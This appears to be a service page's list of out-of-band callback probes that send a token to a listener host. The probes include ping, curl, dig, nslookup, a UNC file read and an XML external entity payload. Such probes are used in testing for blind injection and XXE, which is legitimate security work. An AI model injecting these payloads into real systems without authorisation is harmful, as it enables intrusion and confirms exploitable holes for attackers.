$ ping -c1 -p 002f1ffb14f0058aaa5067c2835eb100 unhack.ca
 

$ curl http://unhack.ca/p/2f1ffb14f0058aaa5067c2835eb1
 

$ dig 2f1ffb14f0058aaa5067c2835eb1 @unhack.ca
 

$ dig 2f1ffb14f0058aaa5067c2835eb1.ns.unhack.ca
 

C:\> nslookup 2f1ffb14f0058aaa5067c2835eb1 unhack.ca
 

C:\> type \\unhack.ca\2f1ffb14f0058aaa5067c2835eb1\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2f1ffb14f0058aaa5067c2835eb1">]>
    <foo>&xxe;</foo>